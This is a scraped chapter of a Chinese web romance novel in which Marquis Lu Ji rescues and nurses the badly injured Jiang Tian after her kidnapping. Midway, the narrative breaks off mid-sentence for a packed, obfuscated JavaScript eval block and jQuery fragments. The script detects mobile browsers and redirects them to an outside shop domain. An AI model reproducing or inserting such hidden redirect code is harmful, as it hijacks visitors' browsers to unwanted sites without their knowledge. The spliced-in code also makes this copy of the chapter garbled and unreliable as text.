文趣网 > 其他小说 > 侯爷,你的全糖芋泥米麻薯 > 55. 遍体鳞伤
    “姜甜……”

    陆机陡然跪倒在地,害怕地伸出双臂,连拥抱她都不敢。

    他的泪水落在她干裂的脸上、唇上,慢慢洗净了她眼前模糊的天地。

    “我来晚了……”

    陆机泣不成声,焦急地查看她的伤势,同时几乎不敢看姜甜如今的惨状。

    他哑着嗓子喊道,“快拿水和食物来!”

    姜甜呆呆地望着他,一句话也说不出来。

    他轻轻捧住她的脸,暗卫们立刻递上水囊。陆机小心翼翼地喂她喝了点水,她后知后觉感受到水中加了蜂蜜,是甜的。

    她攥住他的手不让他拿开,对着壶口痛饮了一番。陆机的手指轻轻地隔空拂过她头上被血浸透的伤口,眼泪一道道如流星坠在她心上。

    “没事了……没事了……”他像抱着一块易碎的琉璃轻轻拢着她,“你做得很好,你太勇敢了!别怕,我们回家……”

    姜甜靠在他怀里,慢慢地哭出了声。

    陆机轻手轻脚地将她抱起,她呻吟了一记搂住他的脖子,“慢点……头晕。”

    “好。”

    “你们……可找着云薇了?”

    “放心,她没事。她正通宵达旦地在寻你呢。方才已传下消息,立刻会有人告诉她你已寻到了。”

    陆机放慢了动作将她抱到马车上,事先请好的女医已等候多时。

    女医听说姜甜一天一夜未进食水,显然是脱水之状,吩咐下人再取些米糕来泡软了喂她吃一些。与此同时她让姜甜靠着软枕坐起为她诊脉。

    期间姜甜一直虚虚地握着陆机的手,她觉得陆机快崩溃了。他泪流不止的模样简直不像他。这么多眼泪,说是云薇她才信。

    女医看过几处伤情为姜甜诊完脉后说道,“姑娘头部遭石击,除了外部创口以外,脑中定是瘀血阻滞,以致头晕恶心。胸口遭重击,触之、呼吸疼痛,想必是骨头断裂。左踝扭伤红肿,伤及筋络。身上多处擦伤,亦要尽快处理,避免感染。此外失血过多,一日未进水米,体虚耗气,是以高热不退。一样一样来吧,我先为姑娘清理头部的伤口。”

    女医解开姜甜头上已看不出颜色的布料,为她用清水擦拭过后上药,再用干净的纱布包扎。全程陆机小心地扶着她的头,怔忡的脸上没有一丝表情,只有间或几滴眼泪重重地往下落。

    姜甜想让他别哭了,用了些气力攥了攥他的手,气若游丝地说道,“谢谢你来救我。”

    未承想闻言陆机突然激动起来,侧过脸去深呼吸了好几轮才平静下来。

    姜甜改为攥住他的衣襟,缩在他怀里,“好了……你别动了。”

    看得她头晕。

    陆机意识到她仍是觉得冷,撩起帘子喊人再拿床毯子来。另外他松松地将她抱住,顾不上什么男女大防,也管不了女医怎么想。他身上暖和,她靠着总归舒服一些。

    “这……”女医为难道,“侯爷,头上的伤处理好了。接下来我得解开姜姑娘的衣物,为她固定胸骨,处理身上的擦伤,还有脚踝的瘀肿。”

    言下之意是请陆机回避一下。

    姜甜没什么力气,软软地抬头看了他一眼,“你转过头去吧。”

    陆机无有不应,立刻闭上眼转过脖子,唯有手掌轻轻地碰着她的头发,安抚小猫儿似的想让她不要害怕。

    姜甜开玩笑道,“别摸了。在地上摸爬滚打的,脏。”

    陆机没有说话。

    姜甜睁开眼去看他,发现他风尘仆仆的不修边幅,下巴上隐约冒出青色的胡茬。

    陆机陪她苦中作乐笑了一下,“我骑了一夜的马,怕是比你更脏。”

    语毕他再次感到心如刀绞。他这话仿佛在为自己开脱,但这并非他的本意。一切祸事都是因他而起,若不是因为他,魏静婉根本不会对无辜的姜甜下手。他太大意了,竟然只派了两名暗卫跟着姜甜,是他没有照顾好她……

    他根本不敢想,如果不是姜甜随身携带匕首,如果不是她聪慧敏锐,她会遭遇怎样非人的待遇……如果他再晚一点找到她,她还能有命在吗?还能这样在他怀里说这些安慰的话?

    “辛苦了。”姜甜抬起手摸了摸他的侧脸,“睡一会儿吗?”

    陆机淡淡地应了一声,但他必然是睡不着的。

    姜甜太累了,终于到了一个安全的环境,疲惫得睡了过去。医师为她胸侧绑上夹板,清理身上的细小伤口、上药,再为她的脚踝涂上消肿的药膏、以软布包扎,她都全然毫无意识。

    他们在城门口遇到了安福县主的车驾。她亲自过来查看,撩起帘子问道,“姜甜怎么样了?”

    陆机抱着熟睡的姜甜,轻轻地向她比了个低声的手势。

    安福县主闻到车厢里一股血和药草混合的气息,脸色难看地钻进来,心疼地查看姜甜的伤势。

    她压低声音,难掩滔天怒火,“究竟是谁如此阴毒龌龊,竟让她受这等苦楚!一旦查明,我一定要让那人血债血偿!”

    陆机淡淡回道,“我已知道是谁了。”

    安福县主一怔。

    陆机抬起头冷静地与她商议,“能寻到姜甜就好,接下来她得好好休养。一切有我,县主不必担心。此事涉及到她的名誉,还请县主帮忙遮掩一二。”

    安福县主同为女子,最明白其中深浅,“你放心。我这几日一直对外宣称有下人盗走了我的御赐白檀木象牙马球杖,因此四处寻找。不会有人敢说三道四。倒是你提前从皇陵折返,需得小心肃王一党又借机生事。”

    “多谢县主提醒。我会借口家中长辈急病,不得不提前折返。”

    大胤奉行百善孝为先,以此为借口,哪怕要罚他也不好罚得太过。

    马车悄悄地入了城停在侯府偏门,陆机带着姜甜径直回了他的住所霁雪庭。

    姜甜昏睡中高烧不退,女医立刻安排下人去煎药。没过多久云薇也来了,直到亲眼看到姜甜她才如释重负。她早已是强弩之末,几名婢女扶着她去偏房歇息,女医开完方子后也去为她诊治了一番。

    陆机怔愣地坐在床前看着姜甜,许久才回过神来。他让人去沁甜茶坊传个话,就说这几日姜甜和云薇要帮安福县主做事,铺子经营的事让他们自行决断。

    知砚看他如此憔悴的模样,劝他下去休息一会儿,陆机置若罔闻。

    没过多久魏嘉柔来了,瞧见陆

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17715200|203570||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    机失魂落魄的模样本想骂他没出息,可看着床上的姜甜被折磨得不成人样,什么话都说不出来了。本来多么娇美开朗的一个好姑娘……

    她这辈子只有陆楹一个儿子,一直希望能有个女儿,顿时生出恻隐之心。她上前去轻轻查看她的伤口,不忍极了,讶异道,“究竟是有怎样的深仇大恨,竟然下此毒手?”

    陆机隐忍不发,没有说这是你的好侄女所为。

    魏嘉柔悠悠叹了一口气,回过头看陆机这副模样,劝慰道,“你这蓬头垢面的成什么样子。你若不愿离开她床前,便让下人端了屏风来,在房中伺候你沐浴吧。什么礼义廉耻,我权当看不见就是了。她这病情没有一两个月是好不了的,难不成你就这样不吃不喝不眠不休?她肯定一日比一日好,只怕你没出两天就馊了。”

    见陆机还是没有反应,魏嘉柔继续敲打道,“尤其她病中体弱,你身上又是尘又是土的,若是把脏东西带给了她,那才叫得不偿失。”

    魏嘉柔点到即止,说完起身告辞,“行了,我还得帮你圆谎。记得让那女医为我开几副安神治头疼的药,将病情说得严重些,别回头害得你又罚俸停职一个月。”

    她走后陆机在床头铜镜中看到自己的模样,确实一塌糊涂。他按照魏嘉柔所说遣人送来热水隔着屏风快速地洗了个澡,正湿漉漉地擦着身,突然听到姜甜用猫儿一样微弱的嗓音叫他,“陆机……?陆机……”

    他立刻抛下帕子披上外衣,湿淋淋地走到床前单膝跪地握住她的手,“我在!你别怕。”

    姜甜忍痛偏过头看向他,不知为何会看到这一幅美人出浴的景象,露出疑惑的神色。

    “我……”陆机尴尬不已,“身上太脏了……”

    虚弱的姜甜软软地伸出手,摸上他湿答答的脖颈,接着滑进衣领里捏了捏。

    “……”

    姜甜故意逗他罢了,笑得身躯轻颤,“热乎的。不是梦。”

    “别笑了,仔细头疼。”陆机心疼地拿出她的手,取过床头小榻上的帕子将她的手指一点点擦干,继而放回到被褥里。

    姜甜看过来,“能让婢女们为我也擦一下^身吗?”

    “你受了伤,不能见风。”

    “脏……太脏了。”姜甜拧起眉毛,像是想起什么不堪的回忆,“况且我发着热,为我擦身能降温,反而是件益事。”

    陆机不敢再拒绝,“好,稍等。”

    他回到屏风后快速擦干身体之后换上衣物,让下人将屏风和浴桶撤走,几名婢女端着水盆和巾帕进来给姜甜擦了身。总算把身上那几名畜生的血给擦干净了,姜甜喉间那股想吐的感觉终于消退下去。她还想洗头,但她知道这确实是无可奈何。

    在屋外等候时陆机收到下人来报,道是潜逃的第三名绑匪已经抓到,还有那名与他们里应外合名叫桑枝的方家婢子,问他该如何发落。

    “先关在柴房。等她好些问过她的意思,我亲自处理。”

    “回侯爷,还有一件事:方才姜府三小姐乔装打扮了一番偷偷前往魏府,然而魏府并未接见她。”

    陆机眼神冰冷,咬牙切齿攥紧了拳,“原来还有同伙。一并盯紧了。”